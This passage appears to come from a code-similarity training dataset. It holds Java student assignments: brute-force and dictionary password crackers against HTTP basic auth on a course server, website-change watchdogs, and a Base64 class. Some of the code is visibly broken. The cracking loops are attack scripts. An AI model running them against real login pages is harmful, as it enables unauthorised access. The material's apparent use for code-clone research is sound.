i++){\n for(j='A'; j<='Z';\452 \ j++){ \n for(k='A'; k<='Z'; k++){\n char[] pw = {i, j, k};\n\453 \ bf.checkPassword(pw);\n }\n }\n }\n \n \n for(i='A';\454 \ i<='z'; i++){ \n if((i=='[') || (i=='\\\\') || (i==']') || (i=='^') ||\455 \ (i=='_') || (i=='`')){\n continue;\n }\n for(j='A'; j<='z';\456 \ j++){ \n if((j=='[') || (j=='\\\\') || (j==']') || (j=='^') || (j=='_')\457 \ || (j=='`')){\n continue;\n }\n char[] pw = {i, j};\n\458 \ bf.checkPassword(pw);\n }\n } \n \n \n for(i='A';\459 \ i<='z'; i++){ \n if((i=='[') || (i=='\\\\') || (i==']') || (i=='^')\460 \ || (i=='_') || (i=='`')){\n continue;\n }\n char[] pw = {i};\n\461 \ bf.checkPassword(pw);\n }\n }\n}\n \n"462 sentences:463 - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\464 {\t\n\n\tpublic static void main(String args[])\n\t{\n\n Runtime rt1\465 \ = Runtime.getRuntime();\n\t Process prss1= null;\n\n try\n \466 \ {\n prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\467 \ http://www.cs.rmit.edu./students/\");\n }catch(java.io.IOException\468 \ e){}\n\n\t MyWatchDogTimer w = new MyWatchDogTimer();\n\t Timer time = new\469 \ Timer();\n\t time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n"470 - "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\npublic class BruteForce\n\471 {\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\472 ;\n private static String password;\n private static int length; \473 \ \n private static int t_counter; \n private static int f_counter;\474 \ \n \n private static int cases;\475 \ \n \n private static int respCode;\476 \ \n\n public BruteForce()\n {\n Authenticator.setDefault(new\477 \ BruteForceAuthenticator());\n t_counter = 0;\n f_counter = 0;\n \478 \ cases = 0;\n }\n\n public static void main (String[] args)\n {\n \479 \ BruteForce bf = new BruteForce();\n String file = \" \";\n while(respCode\480 \ != 200)\n {\n file = bf.fetchURL();\n }\n System.out.println(\"\481 Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\482 \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\483 \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\484 \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\485 \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \486 \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\487 \ BufferedReader in = \n new BufferedReader (new InputStreamReader\488 \ (content));\n String line;\n while ((line = in.readLine()) !=\489 \ null) \n {\n pw.println(line);\n }\n } catch\490 \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\491 \ sw.toString();\n }\n \n class BruteForceAuthenticator extends\492 \ Authenticator \n {\n private String username = \"\";\n\n protected\493 \ PasswordAuthentication getPasswordAuthentication()\n {\n return\494 \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\495 \ char[] generatePassword()\n {\n int i,j,k;\n int n = 26;\n\496 \ String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n String letters2\497 \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n i=0;\n j=0;\n \498 \ k=0;\n \n \n \n if(t_counter == 0)\n {\n\499 \ length = 1;\n cases = 0;\n f_counter = 0;\n\500 \ }\n if(t_counter == 2*n)\n {\n length = 2;\n\501 \ cases = 0;\n f_counter = 0;\n }\n if(t_counter\502 \ == (2*n + 4*n*n))\n {\n length = 3;\n cases =\503 \ 0;\n f_counter = 0;\n }\n\n char c[] = new char[length];\n\504 \n \n \n if(length == 1)\n {\n if(f_counter\505 \ == n)\n {\n cases++;\n f_counter = 0;\n\506 \ }\n i = f_counter;\n\n } else if(length == 2)\507 \ \n {\n if(f_counter == n*n)\n {\n \508 \ cases++;\n f_counter = 0;\n }\n i = f_counter/n;\n\509 \ j = f_counter - i*n;\n\n } else if(length == 3) \n \510 \ {\n if(f_counter == n*n*n)\n {\n cases++;\n\511 \ f_counter = 0;\n }\n i = f_counter/(n*n);\n\512 \ j = (f_counter - i*n*n)/n;\n k = f_counter - i*n*n - j*n;\n\513 \ }\n\n \n switch(cases)\n {\n case\514 \ 0:\n c[0] = letters1.charAt(i);\n if(length > 1)\515 \ c[1] = letters1.charAt(j);\n if(length > 2) c[2] = letters1.charAt(k);\n\516 \ break;\n case 1:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\517 \ if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\518 \ if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\519 \ break;\n case 2:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\520 \ c[1] = letters1.charAt(j);\n if(length > 2) c[2]\521 \ = letters1.charAt(k);\n break;\n case 3:\n \522 \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\523 \ if(length > 2) c[2] = letters1.charAt(k);\n break;\n\524 \ case 4:\n c[0] = letters1.charAt(i);\n \525 \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\526 \ break;\n case 5:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\527 \ c[1] = Character.toUpperCase(letters1.charAt(j));\n \528 \ c[2] = letters1.charAt(k);\n break;\n case 6:\n\529 \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\530 \ c[2] = Character.toUpperCase(letters1.charAt(k));\n \531 \ break;\n case 7:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\532 \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\533 \ break;\n default:\n break;\n \534 \ }\n\n f_counter++;\n t_counter++;\n\n password = new\535 \ String(c);\n return c;\n }\n }\n}\n"536 - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\537 public class Dictionary\n{\n public static void main(String args[])\n {\n\538 \ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\539 \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\540 \ String s = null;\n int num_tries = 0;\n \n try\n {\n\541 \ \n BufferedReader dict_word = new BufferedReader\n \542 \ (new FileReader (DICT_FILE));\n \n \n \543 \ while((password = dict_word.readLine())!= null)\n { \n \544 \ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\545 wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \546 \ \n BufferedReader stdInput = new BufferedReader(new \n \547 \ InputStreamReader(p.getInputStream()));\n\n \548 \ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\549 \n \n while ((s = stdInput.readLine()) != null)\n\550 \ {\n System.out.println(s);\n }\n\551 \ \n \n while ((s = stdError.readLine())\552 \ != null)\n {\n System.out.println(s);\n \553 \ }\n\n try\n\t {\n p.waitFor();\554 \ \n }\n catch (InterruptedException g) \n \555 \ {\n } \n\n num_tries++;\n \556 \ \n if((p.exitValue()) == 0) \n { \n \557 \ System.out.println(\"**********PASSWORD IS: \" + password);\n\558 \t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\559 \ System.exit(1);\n }\n }\n \560 \ catch (IOException e)\n {\n System.out.println(\"\561 exception happened - here's what I know: \");\n e.printStackTrace();\n\562 \ System.exit(-1);\n }\n }\n \n \563 \ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \564 \ System.out.println(\"**********Sorry, password was not found in dictionary\565 \ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\566 \ exception)\n {\n System.out.println(exception);\n }\n \567 \ catch (IOException exception)\n {\n System.out.println(exception);\n\568 \ }\n }\n}\n \n"569- source_sentence: "\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic\570 \ class Dictionary\n{\n public static void main (String args[]) throws IOException,\n\571 \ MalformedURLException\n {\n final String username = \"\";\n final\572 \ String fullurl = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n final String\573 \ dictfile = \"/usr/share/lib/dict/words\";\n String temppass;\n String\574 \ password = \"\";\n URL url = new URL(fullurl);\n boolean cracked =\575 \ false;\n\n startTime = System.currentTimeMillis();\n\n \n BufferedReader\576 \ r = new BufferedReader(new FileReader(dictfile));\n\n while((temppass =\577 \ r.readLine()) != null && !cracked)\n { \n \n if(temppass.length()\578 \ <= 3)\n {\n \n if(isAlpha(temppass))\n \579 \ {\n \n Authenticator.setDefault(new MyAuthenticator(username,temppass));\n\580 \ try{\n BufferedReader x = new BufferedReader(new\581 \ InputStreamReader(\n url.openStream()));\n \582 \ cracked = true;\n password = temppass;\n \583 \ } catch(Exception e){}\n }\n }\n }\n\n stopTime\584 \ = System.currentTimeMillis();\n \n if(!cracked)\n System.out.println(\"\585 Sorry, couldnt find the password\");\n else\n System.out.println(\"\586 Password found: \"+password);\n System.out.println(\"Time taken: \"+(stopTime-startTime));\n\587 \ }\n\n public static boolean isAlpha(String s)\n {\n boolean v = true;\n\588 \ for(int i=0; i<s.length(); i++)\n {\n if(!Character.isLetter(s.charAt(i)))\n\589 \ v = false;\n }\n return ;\n }\n}\n\n"590 sentences:591 - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\592 \ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\593 \ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\594 \ boolean auth = false;\n Date = new Date();\n boolean morePasswords\595 \ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\596 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\597 \ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \598 \ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\599 ;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\600 \ URL url = new URL(resource);\n HttpURLConnection conn\601 \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\602 HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\603 \ {\n System.out.println(\"cracked with \" + new String(password));\n\604 \ auth = true;\n }\n } catch (Exception e) {\n\605 \ System.out.println(\" was exception: \" + e.getMessage());\n \606 \ }\n int count = passPtr;\n while (true) {\n \607 \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \608 \ password[count] = validChars.charAt(0);\n count--;\n\609 \ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\610 \ + 1);\n break;\n }\n if (count < 0) {\n\611 \ \n if (passPtr < MAX_LENGTH - 1) {\n \612 \ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\613 \ } else {\n morePasswords = false;\n \614 \ }\n break;\n }\n }\n \n }\615 \ \n if (!auth) {\n System.out.println(\"Unable determine password\"\616 );\n } else {\n time = (new Date()).getTime() - start.getTime();\n\617 \ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\618 \ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\619 \ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\620 \ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\621 \ {\n String user = \"\";\n return new PasswordAuthentication(user,\622 \ password);\n }\n}\n"623 - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\624 \ char[] out = new char[((data.length + 2) / 3) * 4];\n\n \n \n \n\625 \ \n for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n boolean\626 \ quad = false;\n boolean trip = false;\n\n int bat = (0xFF & (int)\627 \ data[i]);\n bat <<= 8;\n if ((i+1) < data.length) {\n \628 \ bat |= (0xFF & (int) data[i+1]);\n trip = true;\n }\n \629 \ bat <<= 8;\n if ((i+2) < data.length) {\n bat |= (0xFF\630 \ & (int) data[i+2]);\n quad = true;\n }\n out[index+3]\631 \ = alphabet[(quad? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+2]\632 \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\633 \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\634 \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\635 \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\636 \ for( int ix=0; ix<data.length; ix++ )\n {\n if( (data[ix] > 255)\637 \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \638 \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\639 \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\640 \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \641 \ \n for (int ix=0; ix<data.length; ix++)\n {\n int value = (data[ix]>255)?\642 \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\643 \ accum <<= 6; \n shift += 6; \n\644 \ accum |= value; \n if ( shift >= 8 ) \n\645 \ {\n shift -= 8; \n out[index++]\646 \ = \n (byte) ((accum >> shift) & 0xff);\n \647 \ }\n }\n \n \n \n \n \n \n \648 \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\649 Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\650 \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\651 \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\652 \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\653 static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\654 \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\655 \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\656 \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\657 \ = 63;\n}\n}"658 - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\659 public class Dictionary\n{\n\n\n\n public void crackAddress(String fileName)\660 \ throws Exception\n {\n String line,username=\"\",passwd,pass;\n \661 \ int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\662 \ Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n\663 \ while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\664 \\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\665 \\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n \666 \ System.out.println(\"Hack password with the word:\"+passwd);\n\t String\667 \ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\668 :\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n \669 \ BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\670 \n while((line=bf.readLine())!=null)\n {\n flag=1;\n \671 \ break;\n\n }\n if(flag==1)\n {\n System.out.println(\"\672 The username is: \"+username+\" The password is: \"+passwd);\n break;\n\673 \ }\n }\n GregorianCalendar end=new GregorianCalendar();\n\674 \ double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\675 \ System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\n\676 public static void main(String args[]) throws Exception\n{\n Dictionary ds =\677 \ new Dictionary();\n ds.crackAddress(args[0]);\n}\n}"678- source_sentence: "package java.httputils;\n\nimport java.io.BufferedInputStream;\n\679 import java.io.BufferedOutputStream;\nimport java.io.BufferedReader;\nimport java.io.FileInputStream;\n\680 import java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport\681 \ java.io.FileReader;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\682 \n\npublic class WatchDog\n{\n protected final int MILLIS_IN_HOUR = (60 * 60\683 \ * 1000);\n protected int interval = 24;\n protected String URL = \"http://www.cs.rmit.edu./students/\"\684 ;\n protected String fileName = \"WatchDogContent.html\";\n protected String\685 \ command = \"./alert_mail.sh\";\n protected String savedContent;\n protected\686 \ String retrievedContent;\n\n \n public WatchDog()\n {\n super();\n\687 \ }\n\n \n public void run() throws Exception\n {\n HttpRequestClient\688 \ client = null;\n \n \n System.out.println(getClass().getName()\689 \ +\n \"Retrieving baseline copy of: \" + getURL());\n\690 \ client = new HttpRequestClient(getURL());\n retrievedContent =\691 \ client.getContent().toString();\n\n System.out.println(getClass().getName()\692 \ +\n \"Writing baseline content : \" + getFileName());\n\693 \ writeFile();\n\n while (true)\n {\n \n \694 \ System.out.println(getClass().getName() +\n \695 \ \" Sleeping for hours: \" + getInterval());\n Thread.currentThread().sleep(MILLIS_IN_HOUR\696 \ * getInterval());\n\n \n System.out.println(getClass().getName()\697 \ +\n \" Retrieving: \" + getURL());\n\n \698 \ client = new HttpRequestClient(getURL());\n retrievedContent = client.getContent().toString();\n\699 \n \n System.out.println(getClass().getName() +\n \700 \ \" saved copy: \" + getURL());\n savedContent\701 \ = readFile();\n\n \n System.out.println(getClass().getName()\702 \ +\n \" Comparing saved and retrieved. \");\n \703 \ if (!savedContent.equals(retrievedContent))\n {\n \704 \ \n System.out.println(getClass().getName() +\n \705 \ \" Difference found. \");\n\n writeTempFile();\n\706 \ runCommand();\n }\n\n \n writeFile();\n\707 \ }\n }\n\n\n \n public String runCommand()\n {\n String\708 \ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n try\n \709 \ {\n Runtime r = Runtime.getRuntime();\n System.out.println(getClass().getName()\710 \ +\n \" Executing: \" + cmd);\n\n Process proc = r.exec(cmd);\n\711 \ }\n catch (Exception e)\n {\n try\n \712 \ {\n Runtime r = Runtime.getRuntime();\n Process\713 \ proc = r.exec(cmd);\n }\n catch (Exception ex)\n \714 \ {\n System.out.println(getClass().getName()\n \715 \ + \" Could not run :\"\n + getCommand()\n \716 \ + \" because : \"\n + ex.getMessage());\n \717 \ }\n }\n\n return \"Executed successfully\";\n }\n\718 \n \n protected String readFile() throws FileNotFoundException\n {\n\719 \ BufferedInputStream input = null;\n FileInputStream file = null;\n\720 \ StringBuffer content = new StringBuffer();\n try\n {\n\721 \ file = new FileInputStream(getFileName());\n \n \722 \ input = new BufferedInputStream(file);\n \n }\n \723 \ catch (FileNotFoundException x)\n {\n System.err.println(\"\724 File not found: \" + getFileName());\n throw x;\n }\n\n \725 \ try\n {\n int ch;\n while ((ch = input.get())\726 \ != -1)\n {\n content.append((char)ch);\n \727 \ }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n\728 \ }\n finally\n {\n if (input != null)\n \729 \ {\n try\n {\n input.get();\n\730 \ file.get();\n }\n catch (IOException\731 \ e)\n {\n }\n }\n }\n \732 \ return content.toString();\n }\n\n \n protected void writeFile() throws\733 \ Exception\n {\n OutputStream os = null;\n try\n {\n\734 \ os = new BufferedOutputStream(\n new FileOutputStream(getFileName(),\735 \ false));\n os.write(getRetrievedContent().getBytes());\n }\n\736 \ catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\737 \ throw e;\n }\n catch (IOException e)\n {\n \738 \ e.printStackTrace();\n throw e;\n }\n finally\n\739 \ {\n if (os != null)\n {\n try\n\740 \ {\n os.close();\n }\n \741 \ catch (IOException e)\n {\n }\n \742 \ }\n }\n }\n\n \n protected void writeTempFile() throws\743 \ Exception\n {\n OutputStream os = null;\n try\n {\n\744 \ os = new BufferedOutputStream(\n new FileOutputStream(\"\745 .html\", false));\n os.write(getRetrievedContent().getBytes());\n \746 \ }\n catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\747 \ throw e;\n }\n catch (IOException e)\n {\n \748 \ e.printStackTrace();\n throw e;\n }\n finally\n\749 \ {\n if (os != null)\n {\n try\n\750 \ {\n os.close();\n }\n \751 \ catch (IOException e)\n {\n }\n \752 \ }\n }\n }\n\n public static void main(String[] args)\n \753 \ {\n WatchDog watchDog = new WatchDog();\n\n if (args.length\754 \ < 3)\n {\n watchDog.printUsage();\n }\n\n \n\755 \ System.out.println(watchDog.getClass().getName() +\n \756 \ \": Initialising with \" +\n args[0] + \" \\n\"\757 \ +\n args[1] + \" \\n\" +\n args[2]\758 \ + \" \\n\");\n watchDog.setURL(args[0]);\n watchDog.setInterval(Integer.parseInt(args[1]));\n\759 \ watchDog.setCommand(args[2]);\n\n \n try\n {\n \760 \ System.out.println(watchDog.getClass().getName() + \": Invoking the\761 \ run method.\");\n watchDog.run();\n }\n catch (Exception\762 \ e)\n {\n e.printStackTrace();\n }\n }\n\n public\763 \ String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n\764 \ s.append(\"** WatchDog proper usage **\\n\\n\");\n s.append(\n\765 \ this.getClass().getName() +\n \" <URL> <interval> <Command\766 \ execute>\\n\\n\");\n\n return s.toString();\n }\n\n \n public\767 \ String getCommand()\n {\n return command;\n }\n\n \n public\768 \ String getFileName()\n {\n return fileName;\n }\n\n \n public\769 \ int getInterval()\n {\n return interval;\n }\n\n \n public\770 \ String getURL()\n {\n return URL;\n }\n\n \n public void\771 \ setCommand(String string)\n {\n command = string;\n }\n\n \n\772 \ public void setFileName(String string)\n {\n fileName = string;\n\773 \ }\n\n \n public void setInterval(int i)\n {\n interval =\774 \ i;\n }\n\n \n public void setURL(String string)\n {\n URL\775 \ = string;\n }\n\n \n public String getRetrievedContent()\n {\n \776 \ return retrievedContent;\n }\n\n \n public String getSavedContent()\n\777 \ {\n return savedContent;\n }\n\n \n public void setRetrievedContent(String\778 \ string)\n {\n retrievedContent = string;\n }\n\n \n public\779 \ void setSavedContent(String string)\n {\n savedContent = string;\n\780 \ }\n\n}\n"781 sentences:782 - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\783 \ class BruteForce\n{\n\n\tpublic static void main(String[] args) \n\t{\n \784 \ Runtime rt = Runtime.getRuntime();\n\t Process pr= null;\n \785 \ char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\786 \t String pass;\n char temp[] = {'a','a'};\n char temp1[] =\787 \ {'a','a','a'};\n char temp2[] = {'a'};\n\n\t String f= new String();\n\788 \ String resp = new String();\n int count=0;\n String\789 \ success = new String();\n InputStreamReader instre;\n BufferedReader\790 \ bufread;\n\n\n for(int k=0;k<52;k++)\n {\n \791 \ temp2[0]=chars[k];\n pass = new String(temp2); \792 \ \n count++; \n\n System.out.println(\"\793 The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \794 \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\795 ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\796 \n instre = new InputStreamReader(pr.getErrorStream());\n \797 \ \n \n bufread\798 \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\799 \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \800 \ if(resp.equals(\"HTTP request sent, awaiting response...\801 \ 200 OK\"))\n {\n System.out.println(\"\802 Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\803 +count);\n System.exit(0);\n \804 \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\805 \ e){}\n }\n\n\n\n \n for(int j=0;j<52;j++)\n \806 \ {\n for(int k=0;k<52;k++)\n {\n \807 \ temp[0]=chars[j];\n temp[1]=chars[k];\n\n \808 \ pass = new String(); \n count++; \809 \ \n\n System.out.println(\"The password tried is------->\"\810 +pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user=\811 \ --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\812 \ \n\t try\n {\n\t\t pr = rt.exec(f);\n\813 \n instre = new InputStreamReader(pr.getErrorStream());\n \814 \ \n \n bufread\815 \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\816 \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \817 \ if(resp.equals(\"HTTP request sent, awaiting response...\818 \ 200 OK\"))\n {\n System.out.println(\"\819 Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\820 +count);\n System.exit(0);\n \821 \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\822 \ e){}\n }\n }\n\n\n \n for(int i=0;i<52;i++)\n\823 \ for(int j=0;j<52;j++)\n for(int k=0;k<52;k++)\n \824 \ {\n temp1[0]=chars[i];\n temp1[1]=chars[j];\n\825 \ temp1[2]=chars[k];\n pass = new String(temp1);\826 \ \n count++; \n\n System.out.println(\"\827 The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \828 \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\829 ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\830 \n instre = new InputStreamReader(pr.getErrorStream());\n \831 \ \n \n bufread\832 \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\833 \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \834 \ if(resp.equals(\"HTTP request sent, awaiting response...\835 \ 200 OK\"))\n {\n System.out.println(\"\836 Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\837 +count);\n System.exit(0);\n \838 \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\839 \ e){}\n }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n"840 - "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n public\841 \ WatchDog() {\n\n }\n public static void main(String args[]) {\n DataInputStream\842 \ newin;\n\n try{\n\n\n System.out.println(\"Downloading first copy\"\843 );\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\844 \ oldfile.html\");\n String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\845 \ newfile.html > Diff.txt\"};\n String[] cmdMail = {\"//sh\", \"-c\", \"\846 mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n while(true){\n\847 \ Thread.sleep(24*60*60*1000);\n System.out.println(\"Downloading\848 \ new copy\");\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\849 \ -O newfile.html\");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n\850 \ Thread.sleep(2000);\n newin = new DataInputStream( new\851 \ FileInputStream( \"Diff.txt\"));\n if (newin.readLine() != null){\n\852 \ System.out.println(\"Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n\853 \ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\854 \n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\855 \ }\n\n }\n\n}"856 - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class\857 \ BruteForce {\n\n\tpublic BruteForce() {\n\t\t\n\t}\n\n\tpublic static void main(String[]\858 \ args) {\n\n\tString[] validPW = { \"a\", \"b\", \"c\", \"d\", \"e\", \"f\",\859 \ \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n\t\t\t\"n\", \"o\", \"p\"\860 , \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\",\n\t\t\t\861 \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"\862 L\", \"M\",\n\t\t\t\"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"\863 V\", \"W\", \"X\", \"Y\", \"Z\" };\n\n\tString attackWP = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\864 ;\n\tString userID = \"\";\n\tint trytimes = 0;\n\tint count=52;\n\tString userPassword=\"\865 \";\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\t\n\t\tfor\866 \ (int i = 0; i < count; i++) {\n for (int j = 0; j < count;\867 \ j++) {\n for (int k = 0; k < count; k++) {\n\t\t\ttrytimes\868 \ ++;\n\t\t\tuserPassword = userID + \":\" + validPW[i] + validPW[j] + validPW[k];\n\869 \t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\870 \tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\871 \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\872 Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\873 Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t }\n\874 \t\t }\n\t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n for\875 \ (int j = 0; j < count; j++) {\n\t\t\ttrytimes ++;\n\t\t\tuserPassword = userID\876 \ + \":\" + validPW[i] + validPW[j];\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword,\877 \ attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\878 \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\879 Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\880 Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t }\n\881 \t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) 